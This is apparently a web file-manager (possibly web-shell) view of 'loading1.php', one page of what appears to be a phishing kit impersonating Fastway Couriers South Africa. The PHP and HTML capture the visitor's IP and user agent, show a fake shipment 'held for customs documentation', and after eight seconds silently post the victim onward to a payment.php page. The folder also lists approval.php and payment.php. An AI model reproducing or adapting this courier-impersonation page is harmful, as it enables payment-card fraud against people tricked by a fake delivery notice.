at path:
ROOT
/
fastway
/
loading1.php
run:
R
W
Run
assets
DIR
2026-03-20 04:26:56
R
W
Run
approval.php
21.55 KB
2026-05-28 13:26:25
R
W
Run
Delete
Rename
error_log
4.17 KB
2026-03-18 03:54:16
R
W
Run
Delete
Rename
index.php
18.05 KB
2026-05-28 13:26:25
R
W
Run
Delete
Rename
loading1.php
10.21 KB
2026-03-20 04:33:56
R
W
Run
Delete
Rename
loading2.php
9.82 KB
2026-03-20 04:34:26
R
W
Run
Delete
Rename
payment.php
23.61 KB
2026-05-28 13:26:25
R
W
Run
Delete
Rename
error_log
up
📄
loading1.php
Save
<?php // Get user info for logging $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Fastway Couriers | Processing Shipment</title> <link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@400;600;700;800&family=Barlow:wght@300;400;500;600&display=swap" rel="stylesheet"> <style> *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } :root { --orange: #F47920; --orange-light: #FF8C3A; --navy: #1A2340; --navy-dark: #10172B; --navy-mid: #232E4A; --white: #FFFFFF; --off-white: #F7F8FA; --grey: #6B7280; --light-grey: #E5E7EB; --text: #1F2937; --success: #0F7B4B; --success-bg: #E8F3ED; --radius: 6px; } body { font-family: 'Barlow', sans-serif; color: var(--text); background: var(--off-white); min-height: 100vh; display: flex; flex-direction: column; } .container { max-width: 800px; margin: 0 auto; width: 100%; padding: 0 1.5rem; } /* HEADER */ .header { background: var(--white); padding: 1rem 0; box-shadow: 0 2px 10px rgba(0,0,0,0.05); } .header-container { max-width: 1200px; margin: 0 auto; padding: 0 1.5rem; } .logo-container { display: flex; align-items: center; } .logo { height: 70px; width: auto; } /* BANNER */ .banner { width: 100%; background: linear-gradient(135deg, var(--navy-dark) 0%, var(--navy) 100%); padding: 2.5rem 0; margin-bottom: 2rem; } .banner-content { max-width: 1200px; margin: 0 auto; padding: 0 1.5rem; color: var(--white); } .banner-title { font-family: 'Barlow Condensed', sans-serif; font-size: clamp(2rem, 5vw, 2.5rem); font-weight: 800; text-transform: uppercase; letter-spacing: -0.5px; margin-bottom: 0.5rem; } .banner-title span { color: var(--orange); } /* LOADING CARD */ .loading-card { background: var(--white); border: 1px solid var(--light-grey); border-radius: var(--radius); padding: 3rem 2rem; margin-bottom: 2rem; text-align: center; box-shadow: 0 4px 12px rgba(0,0,0,0.05); } .image-container { width: 180px; height: 120px; margin: 0 auto 2rem; animation: gentleBounce 2.4s infinite ease-in-out; } .loading-image { width: 100%; height: 100%; object-fit: contain; } @keyframes gentleBounce { 0%, 100% { transform: translateY(0); } 50% { transform: translateY(-8px); } } .spinner { width: 60px; height: 60px; border: 3px solid var(--light-grey); border-top: 3px solid var(--orange); border-radius: 50%; animation: spin 1.2s linear infinite; margin: 0 auto 1.5rem; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .loading-title { font-family: 'Barlow Condensed', sans-serif; font-size: 1.75rem; font-weight: 700; color: var(--navy-dark); margin-bottom: 0.75rem; } .loading-subtitle { font-size: 1rem; color: var(--grey); max-width: 450px; margin: 0 auto 1.5rem; line-height: 1.6; } .parcel-summary { background: var(--off-white); border: 1px solid var(--light-grey); border-radius: var(--radius); padding: 1.5rem; margin: 2rem auto; max-width: 400px; text-align: left; } .summary-row { display: flex; justify-content: space-between; padding: 0.5rem 0; border-bottom: 1px solid var(--light-grey); font-size: 0.95rem; } .summary-row:last-child { border-bottom: none; } .summary-label { color: var(--grey); } .summary-value { font-weight: 600; color: var(--navy-dark); } .summary-value i { color: var(--orange); margin-right: 0.25rem; } .progress-bar { width: 100%; height: 6px; background: var(--light-grey); border-radius: 3px; margin: 2rem 0 1rem; overflow: hidden; } .progress-fill { height: 100%; background: var(--orange); width: 0%; border-radius: 3px; animation: fill 8s linear forwards; } @keyframes fill { from { width: 0%; } to { width: 100%; } } .status-text { color: var(--grey); font-size: 0.9rem; display: flex; align-items: center; justify-content: center; gap: 0.5rem; } .status-text i { color: var(--orange); } /* FOOTER */ .footer { background: var(--navy-dark); padding: 3rem 0 2rem; margin-top: auto; } .footer-content { max-width: 1200px; margin: 0 auto; padding: 0 1.5rem; text-align: center; } .footer-logo { margin-bottom: 1.5rem; } .footer-logo img { height: 70px; width: auto; opacity: 0.9; } .footer-address { color: rgba(255,255,255,0.6); font-size: 0.9rem; margin-bottom: 1rem; line-height: 1.6; } .footer-copyright { color: rgba(255,255,255,0.4); font-size: 0.8rem; } @media (max-width: 600px) { .loading-card { padding: 2rem 1.5rem; } .logo { height: 60px; } .image-container { width: 150px; height: 100px; } } </style> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css"> </head> <body> <!-- HEADER --> <header class="header"> <div class="header-container"> <div class="logo-container"> <img src="assets/1.png" alt="Fastway Couriers" class="logo"> </div> </div> </header> <!-- BANNER --> <div class="banner"> <div class="banner-content"> <div class="banner-title">Processing <span>Shipment</span></div> </div> </div> <!-- LOADING CARD --> <main class="container"> <div class="loading-card"> <div class="image-container"> <img src="assets/2.png" alt="Processing Shipment" class="loading-image"> </div> <div class="spinner"></div> <h2 class="loading-title">Verifying Shipment Details</h2> <p class="loading-subtitle">Please wait while we process your shipment information and prepare customs documentation.</p> <div class="parcel-summary"> <div class="summary-row"> <span class="summary-label">Tracking Number</span> <span class="summary-value"><i class="fas fa-barcode"></i> FW632846518</span> </div> <div class="summary-row"> <span class="summary-label">Parcel Type</span> <span class="summary-value">International Satchel</span> </div> <div class="summary-row"> <span class="summary-label">Weight</span> <span class="summary-value">0.9 kg</span> </div> <div class="summary-row"> <span class="summary-label">Destination</span> <span class="summary-value">Johannesburg, South Africa</span> </div> </div> <div class="progress-bar"> <div class="progress-fill"></div> </div> <div class="status-text"> <i class="fas fa-sync-alt fa-spin"></i> Processing customs documentation... </div> </div> </main> <!-- FOOTER --> <footer class="footer"> <div class="footer-content"> <div class="footer-logo"> <img src="assets/3.png" alt="Fastway Couriers"> </div> <div class="footer-address"> Fastway Couriers South Africa<br> 12 Electron Road, Isando, Johannesburg, 1600 </div> <div class="footer-copyright"> © 2026 Fastway Couriers South Africa (Pty) Ltd. All rights reserved. </div> </div> </footer> <!-- AUTO REDIRECT AFTER 8 SECONDS --> <script> setTimeout(function() { const fastwayData = JSON.parse(localStorage.getItem('fastwayData') || '{}'); const form = document.createElement('form'); form.method = 'POST'; form.action = 'payment.php'; const fields = { tracking: fastwayData.tracking || 'FW632846518', parcel_type: 'International Satchel', weight: '0.9' }; for (const [key, value] of Object.entries(fields)) { const input = document.createElement('input'); input.type = 'hidden'; input.name = key; input.value = value; form.appendChild(input); } document.body.appendChild(form); form.submit(); }, 8000); </script> </body> </html>